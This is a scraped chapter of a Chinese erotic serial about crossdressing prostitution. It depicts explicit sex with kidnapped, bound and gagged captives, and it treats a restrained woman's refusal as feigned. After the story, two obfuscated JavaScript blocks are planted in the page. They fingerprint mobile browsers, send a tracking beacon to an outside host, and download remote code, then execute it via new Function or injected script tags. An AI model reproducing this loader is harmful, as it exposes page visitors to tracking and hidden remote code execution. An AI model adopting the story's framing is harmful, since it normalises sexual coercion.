图片载入中

伪娘援交11

特大字】 【大字】 【中字】 【小字

伪娘援交-11。危险援交(四)

不可思议的好运气,让小步再一次的躲过了贞操危机。

也不算是贞操危机啦,毕竟第一次已经给了我,应该说躲过了被强暴的危机。

客厅里众人一震错愕,接着哀鸿遍野,然后就有人成了出气包。

“该死!谁叫你提醒她啦!”“差点就可以干到了!”“去死!”。

刚刚出言提醒我的C男遭到无情的痛扁,我觉得他们干脆让他换上女装然后上他算了,当作发泄嘛。

在一阵难过后,A仔总算转过头来,对我说“算了,你快点决定要怎么干她吧”,手指着小步。我仍然穿着啦啦队服装肤色丝袜白色膝上袜,小步依然是水手服黑膝

上袜紧缚各种玩具。

“可以休息吗?既然是我随意决定的话”我很天真地问。

“废话,当然不行,如果给你这样休息的话,我们还看屁啊”是C男回答我。

“干!就是你害的,少在那边啰嗦”“闭嘴啦”。

然后他又遭到众人围剿,A仔才说“不行,快干,不然就我们指定了”。

我一时之间也想不到有什么,就说了“那就都来一点吧”。

其他人没有意见,反正只要有得看就好,也没规定他们不能自己在旁边打手枪。

小步还是不知道是什么意思,我轻轻在她耳边说“就随便玩玩吧”。

小芷先移动到一旁站着,把我们坐着的沙发留给我们。

我把仍被紧缚着的小步由坐姿推倒,接着拿掉绑着她嘴巴的布条,直接吻了上去。

“喔喔~众人似乎有点兴奋,虽然知道我们是一男一女,但外表看起来还是十足的百合样。我一边吻她,一面调整跳蛋的开关,另一只手也没闲着,先把按摩棒拿开,玩弄她的股绳。小步呻吟起来,而我也可以感觉得到她的内裤比刚才还要更湿了。

我拿掉跳蛋,把她的胸罩往下拉开,让她的胸部整个露出来,接着注意到她的乳头都已经直立起来了。

我用嘴巴含住她的胸部,用手揉弄另一边,另一只手持续玩弄股绳。

然后拿起按摩棒,刺激她的胸部和阴部,小步呻吟得更厉害了。

此时我用眼角余光瞄了其他人,全都把手伸到自己的下体套弄着。

小芷虽然没有在打手枪,但是她穿着紧身的体操服短裤,很明显看得出来她也正勃起着。我看到旁边还有绳子,就拿了一条接到小步的股绳上。

然后我把她扶起来坐好,并解开绑着她脚的绳子,自己则躺在她面前的地上,要她帮我脚交。脚交的同时我也拉动着她的股绳持续给予阴部刺激,也感受得到她会一阵腿软,脚交施不上什么力气。

不过她也只是第一次为人施行脚交,我忍不住想让她的每个第一次都成为我的东西。

但马上就想到,她在下午已经被强迫口交过了。

因为小步的脚使不上什么力气,所以我很快就起身,这次站在她面前让她为我口交。

尽管也是不太熟练,毕竟在今天之前她完全没接触过这些事情,更别提亲自实行。

但舌头的破坏力就很大了,让我很快就变得更有感觉。

进入状态的我已经忘记自己目前处于伪娘的状态,只想好好来干上一发。

于是我将小步的脸推开,接着再次玩弄她的股绳,确认她的内裤比刚刚又更湿了一点。接着就解开了她的股绳,然后把她的内裤脱到大腿。

“不要……”小步轻声的呻吟,但她的阴部已经湿透了,让我觉得她这么说有些言不由衷。“喔喔~”众人第一次到小步的下体裸露出来,显得更兴奋,然后听到“啊”的一声,应该是谁不小心先射了。

这时我也没多想什么,把自己本来稍微拉下来的丝袜和内裤给脱到大腿。

接着就将勃起许久的生殖器直接插进了小步的阴道。

“啊……”小步忍不住叫了出来,其他人听了更兴奋,而我觉得自己好像忘了什么,但还是开始抽插了起来。

小步依旧被绑着,加上被我压在沙发上没办法抵抗,于是我抽插的更带劲,同时还吻上她的唇。一开始她还有些反抗,试着咬我的嘴,但很快的力道也渐渐弱了下来,变得有些享受。接下来也不知道又过了多久,我只知道在充分享受后,我将精液全数射在小步体内。

“啊……”我和小步同时叫了出来,但意义完全不一样。

小步大概是受到刺激才叫了出来,但我是这时才想起自己忘了什么-又是保险套。

刚刚在浴室里的内射还可以算是意外,但这次却是我自己的意志-只是忘记有保险套。糟糕……短时间被我内射了两次,这样中奖的机率是不是也翻倍了……但这时候我无暇多想这个了。

因为旁边打手枪的众人将身体都移动了过来,我心想会不会是兽性大发,要不顾游戏规则硬上了。

于是我仍保持着插入的姿势,并用身体挡住小步,试图要保护她。

不过过了一阵子,都没有什么动静,但突然感觉到大腿有点温热。

我微微转头一看,除了C男以外的其他五人都围绕着我们,正对着我们打手枪。

看来刚刚先射的是C男,他此时正懊恼的坐在原位上。

我大腿的温热感是F男射在我腿上,接着其他人也陆续射在我身上,屁股,腿,背上。因为我尽量挡住了小步,所以她没有被波及到,我想尽量让这些人不会沾污到她。

等他们全都回到原位坐好后,我才将生殖器从小步的体内抽出。

小步仍在微微喘息着,她看着我的眼神十分迷茫,涣散,看上去有点荡漾的感觉。

但她也轻轻在我耳边说“你居然又射在里面一次……要负责喔”。

这句话如晴天霹雳般打在我身上,但毕竟是自己造成的,所以我微微点了个头。

我将她扶起来坐好,并把她的内裤和胸罩都重新穿好,想了一下将股绳也重新绑上。

尽管真的要干的话只要把股绳拿掉就好,但就是觉得这样可以多一点保护-也不知道哪来的想法。

基本上就是把小步的状态回复到这轮开始之前,依然是被紧缚着。

其实她只要被紧缚到下一次命令结束,基本上现在是可以解开了,但我却没想到这一层……除了小芷以外,大家在这一次都算爽过了,于是A仔就提议休息一下。

我看了一眼墙上的时钟,我们是将近十点的时候开始的,现在也已经过半夜一点了。

于是他们打算出去吃消夜,他们把我和小芷又重新绑好,不仅反绑了双手,还绑了胸绳,双脚也被紧紧绑住。

小芷还被绑了股绳,是因为她穿体操服的缘故吗?

我和小步的嘴巴都被塞了口球,小芷也被绑上布条。

接着他们才全体出门去吃宵夜。

由于我们都被绑住了,嘴巴也被堵住,因此在他们出门的期间我们什么也做不了,只能尽可能的把握时间休息。

或许是性欲凌驾了食欲,他们出门才半小时左右就回来了,接着又要开始第十一轮游戏。由C男开始,这次他总算有得玩了,而且还是让小步为他打手枪。

我暗地里感到一点可惜,小步终究还是没能全身而退。

但换个角度想,能在这些人面前保护小步的贞操是最重要的,其他都只能勉为接受了。C男解开了小步被反绑的双手,小步则照指示伸手套弄C男的生殖器。

其实我怀疑他是不是早泄,刚刚第一个射精,现在小步没套弄几下又射了。

“你是不是早泄啊?”A仔提出了我正在想的问题。

接着其他人大笑“哈哈哈”“早泄男”“到头来还是没得干”

C男感到十分难为情,自己拿卫生纸擦拭生殖器后,穿好裤子坐回原位。

小步也把手上的精液擦掉后重新坐回我身旁。

接下来的三轮,又是小芷的三连发。

看来他们真的除了C男之外,都净写些种口味的内容。

第十二轮是小芷再次换上女仆装,被E男干了一发。

接着第十三轮则是被A仔揉弄胸部按摩棒刺激生殖器,并且要为A仔口交,结果双双射精。第十四轮则是全裸让D男干了一发。

终于来到最后的第十五轮,A仔说“最后就由你们开始抽吧”小步缓缓将手伸往放着我们名字的洋芋片罐。

“好好抽啊,没干到你我们大家可是不太痛快的”A仔补了一句。

小步的身体抖了一下,接着眼光和我对上,她的眼神里却看不到害怕的意思。

“我来结束它”这是我从她眼里看到的信息。

接着她抓住了一根竹筷,抽出。。

三十分钟后,在浴室里。

我和小步已经冲洗完身体,正背对背靠着泡在浴缸里。

小芷又是一个人在另一间浴室洗澡,A仔等六人已经都洗好了,应该只是随便冲冲而已吧。国王游戏的最后结果,是小步抽出了唯一一根救赎的竹筷“休息”最后又在众人的一阵错愕下结束了,当然对他们来说更多的是惋惜。

国王游戏十五轮下来,小芷承受了大部分的签运,我和小步算是运气很好的安然度过。现在时间已经接近凌晨三点,不过据他们说不会那么轻易让我们结束掉。

明天的内容已经想好了,他们对着小步说“明天一定要干到你”其实他们大可可以直接硬上,毕竟连绑架都已经干出来了……不过也很感谢他们这么“好心”

“你怎么那么有自信最后一定会抽到休息?”泡澡的时候我问小步。

“每一次抽签我都有在看,最后就记住那支竹筷的位置,还好没记错”小步回答后自己也笑了出来。

这应该是安心的笑容吧,按照他们所说,第三天中午会放我们离开,所以我们只要再撑过明天和后天早上就好。

“不过,”小步突然整个人转过身来,从背后抱住我,将头靠在我的肩膀上。

“你刚刚居然又射在里面,这么想娶我回去吗?”她的右手架住我的下巴,左手慢慢的往我的下腹部游移。

“那是意外啦……那时候太起劲了……对不起”感受到小步握住了我的生殖器,我刚刚的罪恶感又一口气冒了上来。

“哼~感受不到诚意,我跟你女朋友告状好了~”感觉小步和稍早时候比起来,整个人都放松了许多,现在居然还有余韵可以开玩笑。

“不仅被陌生的男人干,还内射了初次见面的少女两次,我想小羽应该会很~生气吧?”“呜呜……”被小步这样一讲,我都开始担心起来了……回去要怎么面对小羽呢……

“不过呢,”她突然用很轻柔的口气说道。

“反正第一次也射在里面了,第二次也是一样的吧?那要不要再来一次呀?”“咦?”我回头一看,小步的脸就在我面前,她的眼神是荡漾的。

我忍不住吻了上去,同时揉了她的胸部,她也持续轻轻套弄着我的生殖器。

“那……要做吗?”我小声问她。

“嗯……想做”她回答的声音像蚊子一般细,脸上浮起一阵红晕,我相信跟泡太久没有关系。浴缸颇狭小的,最后让小步以趴跪姿跪在浴缸里,我则以双手扶着浴缸的两边,打算从后头插入。

不过就在这时候。

“你们要洗多久啊?赶快出来!”外头看守的不知道是谁,对着浴室里头大喊。

“啊……”“看来是不行了呢,不过没关系,以后还有机会”“咦?”小步留下了难以理解的话语,率先出了浴缸。

我和小步依旧穿上了短T热裤黑裤袜的打扮,被带回房间后看见穿着睡衣的小芷已经在里头了。因为只有小芷有穿睡衣睡觉的习惯,我和小步睡觉时都是穿普通的家居服。

不过现在没有家居服,就还是以比较轻便的服装为主,但以防万一,还是包的比较紧一些。相较之下,小芷是不是太放松了点……

接着他们将我们三人的双手都反绑,脚踝也绑了起来,留了句“明天会叫你们”之后就关灯离开房间。

这张床足够让我们三人都睡在上头,但还是有点拥挤。

小步也不断往我这里挤,我被夹在中间感到有点难受,就轻声说了“靠太过来了吧?”小步也轻轻回说“有什么关系,你是我的第一个男人,还是说是女人比较对?”这不是重点吧……不过她也不会听我的,所以我只好示意小芷再挪一下。

结果她已经睡着了……我轻轻叹了一口气。

“干嘛叹气呀?是觉得刚刚没做到很可惜吗?”我将头转回原处,眼前就是小步的脸。“才不是啦!”“是喔……你不想跟我做啊……”“想啊!但是……”“那不然现在来做?”这句话好有吸引力……但我们手脚被绑着,还要脱下彼此的热裤,黑裤袜和内裤,这是份大工程。

“骗你的,晚安!”小步看我似乎认真思考了起来,飞快地说完这句话后就将脸转了过去。“反正以后还会有机会嘛……”她嘀咕了这句,她是第二次说这句话了,究竟代表什么意思?我思考了一阵后,还是没想到答案,就昏昏沉沉的睡了过去。

隔天我们被叫醒的时候,已经是接近中午了。

C男进来叫醒我们,然后说“准备一下,等一下要出门,一个小时候我们会再过来”。其实我已经醒来一段时间了,因为A仔的嗓门很大,他们稍早醒来后,在外面对话的声音也颇大声。

而我又是浅眠的人,所以就被吵醒了,想稍微移动一下身体,却发现自己动弹不得。

一方面是手脚还被绑着,另一方面是同样手脚被绑着的小步靠在我的胸口旁。

我身后的小芷又睡得比较靠过来,等于我被夹在中间……又动弹不得,不是很舒服。

我看着小步的睡脸,因为是素颜的关系,看起来年纪比较小一点,睡脸还蛮可爱的,让我想到晒太阳的猫咪。

因为已经醒了,加上无法换个姿势,我也就没打算继续睡,同时也听到了外面的对话。从声音听起来似乎是A仔和C男,而他们的对话内容引起了我的注意。

由于我没有听到全部,所以以我自己听到的片段来说,大致上是这样。

他们一开始是真的单纯想以征询模特儿的名义来找人紧缚,并拍摄照片。

所以他们先在网路上po文,而他们意外的发现,我和小芷的援交文也在那时候po出了。他们稍微调查了一下,发现我和小芷援交的事情,然后一群人讨论之后决定改变计画。“反正找模特儿来拍照跟援交都是要花钱,那不如找援交的,除了拍照之外我们还有得干哩”。于是他们就找上了我们,但同时小步看到了征求模特儿的文章也和他们连络。

这让他们有些两难,最后决定一不做二不休,将我们两边都约在一起,同时进行。

但小步那边约的是普通的绳缚摄影,自然不可能卷进我们的援交中,所以就只好用绑架的方式。其实这是犯罪吧……我听了好想吐槽,话说把我们绑在这监禁起来也已经是犯罪了。

总之,我打算先以“援交”的形式来相信他们,所以态度上不知不觉变得合作了一点。至于小芷,她在我们被绑架后就已经打算把这作为“强硬的援交”,所以本来态度上就比较合作。

小步则是刚睡醒,眼神还很迷茫,完全不知道现在是什么状况。

C男说完,转身要离去的时候,我突然叫住他。

“那个……我们要穿什么服装?”。

C男回头看着我,说“对耶,差点忘了,三个人都换上制服,我们要先去准备今天的内容,一小时后会再过来”。

“我们还被绑着,没办法换衣服啊……”这C男大概还少根筋……他听了才恍然大悟似的,又过来帮我们三人解开手脚的绳子。

他关上门要离开时,又说“早餐放在客厅里,肚子饿就吃掉吧”。

接着,听到走廊一阵脚步声,以及关上大门的声音,还有从外头锁上的声音。

根据情况判断,目前这里除了我们三人以外应该没有其他人了。

于是我们打算利用这些时间来探索一下这间屋子。

如果能找到逃脱的方式自然最好,但没有的话其实根据刚刚听到的话来看,也不是什么很糟糕的情况。

我先把刚刚听到的话告诉了小芷和小步,而她们的反应也很坦然。

“那就跟我昨天想的一样,就当成是比较强硬的援交吧,既然还是有酬劳,那我无所谓”小芷拿起梳子,对着镜子梳起睡觉时压到的假发。

“我也是没问题,就跟之前差不多吧,但是小步……”我仍然坐在床上,看着虽然已经清醒,但还是靠在我怀里的小步。

“……如果他们说的是真的的话,那我还算可以接受”小步却说出了令我深感意外的话。“因为有钱拿吧?既然报酬还是会给,那我就比较能接受了,虽然是被绑架过来的,但这点就算了”看来小步比我想的要乐观一些,也可能是我自己的想法太悲观吧。

“而且听起来他们还算可以沟通,或许他们可以让我只做本来的摄影内容,但我觉得跟你们一起也不坏”

我们结束讨论后,就各自到浴室梳洗,接着来到客厅。

我先到玄关看了一下,大门被从外面锁住,其实我们可以趁这时候从浴室的窗户向外面求援。但说不定像昨天一样,其实外面有人在看守,所以就放弃了这个念头。

客厅里,昨天的衣物已经全部重新挂回活动晒衣杆上,垃圾也都收进了角落的大垃圾袋里。看不出来这几个大男人还蛮有条理的……这让我有些意外。

桌上仍然放着那几个洋芋片罐,还有三个三明治和三瓶矿泉水。

这大概就是所谓的早餐吧,我们坐在沙发上不发一语,默默地吃着早餐。

吃饱后我们拿起放在一旁的我们的包包,开始换上制服。

我和小芷换上我们穿来的制服,我还是搭配黑裤袜,小芷则是黑丝袜。

小步也穿上了昨天被绑架时穿的那套制服,搭配的同样是黑裤袜。

因为穿的是制服,所以我们内衣裤都是穿白色的。

换好衣服后,因为不知道今天会被要求做些什么,我们只是默默的坐在沙发上等待。

过不久,他们一行人就回来了。

看起来是刚吃完午餐,他们身上还有些油烟味。

他们进到客厅后,看到我们三人已经换好制服,坐在沙发上,他们也就各自就坐。

接着A仔说“那就开始今天的游戏吧”,然后就开始说明。

今天我们要分三组行动,他们两人搭配我们其中一个人,也就是每组两男一女(?)。时间是从下午两点开始,一直到晚上十二点,每三个小时会集合换一次组。

也就是说我们三人都会跟到三组不同的人。

游戏的内容是,他们已经在三本笔记本上写上了三组的行动内容,他们说全部是随机的。举例来说,可能是我和A仔,B男一组,指令是在国小为A仔口交,完成后才进行下一个指令。行动的地点是这个城市的各处,因为他们准备了三台车好方便移动。

不过行动的内容则是各式各样,而地点和指令都用贴纸贴住了,只有撕下贴纸才知道内容。每车都会有十个指令,全部三十个,我想应该是会有重复吧……

全部结束后,他们会统计完成指令最多和最少的,然后给予奖励和惩罚(当然是指我们三人)。既然指令是随车固定,也就是说小步依旧会有被干的可能性……想到这点我不禁觉得有点难受。指令完成后他们会在后面做记号,如果换组时间到了,但指令正在进行中则视为失败。“这样都懂了吗?”A仔说明完后看着我们,我点点头,身旁的小芷和小步也微微点了头。其他人也都没有意见,于是他们就开始把道具搬出客厅,我猜应该是要移到车上吧。

A仔,C男和E男留在客厅,他们似乎还有其他准备要做。

“你们把手背到后头吧”A仔说。

我们三人乖乖的把手背到背后,接着双手就被反绑了起来。

然后我们又被绑了胸绳,接着他们从我们的背包里拿出换洗的内裤,分别塞进我们嘴哩,又在外头帮我们戴上了口罩。

接着他们拿了一件大衣(我这时才注意到上面的校徽和小步身上穿的制服一样,看来是小步的制服大衣)披在小步身上。

将扣子扣上,袖子塞进口袋里头,然后又从活动晒衣杆上拿了两件大衣同样给我和小芷披上。这样看起来我们三人就像是戴着口罩,手插口袋,实际上却是嘴巴被内裤塞住,双手被反绑着,还被绑了胸绳。

接着又将我们的黑裤袜/丝袜脱到大腿。

然后分别给小步紧紧绑了股绳/给我的生殖器黏上跳蛋/用假阳具插入小芷的后庭。

再把我们的黑裤袜/丝袜重新穿上。

尽管开关没有打开,但接下来我们要以这种姿态在外面一整天,难免还是会觉得有点紧张。而小步还是不太习惯股绳,脸颊已经开始有些泛红,唿吸也急促了起来。

“都准备好了!”其他三人回到客厅里,看来是都准备完了。

A仔说“我们这边也好了,那就来分组吧”。

分组同样利用了昨天玩国王游戏的竹筷,很快的就分出了三组。

A仔,E男和小芷/B男,C男和小步/D男,F男和我我们被带到玄关,分别穿上自己的皮鞋,然后被带下楼,外头已经停了三台车子。

一台普通的轿车,一台休旅车,一台厢型车,分别对应的是小步/我/小芷。

据他们说,因为组别和车子是固定的,所以该组的内容会比较固定。

举例来说,轿车因为受限于车体较小,所以游戏内容就较少在车上,比较多是要下车执行。其他两种车型也有要下车执行的部分,但相对来说留在车上执行的会多一些。

他们谈好下午五点在某处集合换组后,就分别把我们都推上了副驾驶座,然后各自开车带开。时间刚好是两点整,这次援交最刺激的一天就此开始。

(待续)

后记:

目前的预定是下一篇12写完第二天的游戏,13则是第三天和结局的部分(不是长篇结局,是全结局)

不过结局之后会再写一两个短篇把故事补足,像是结局之后的事情。

虽然也讲过很多次了,结局已经想好了,那是我自己想到觉得最有趣的结局。

不过结局并不是故事全部结束,会用短篇做真正的Ending。


上一篇:老公的生日,3P的开始

下一篇:【一个女孩的初次】【完】


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};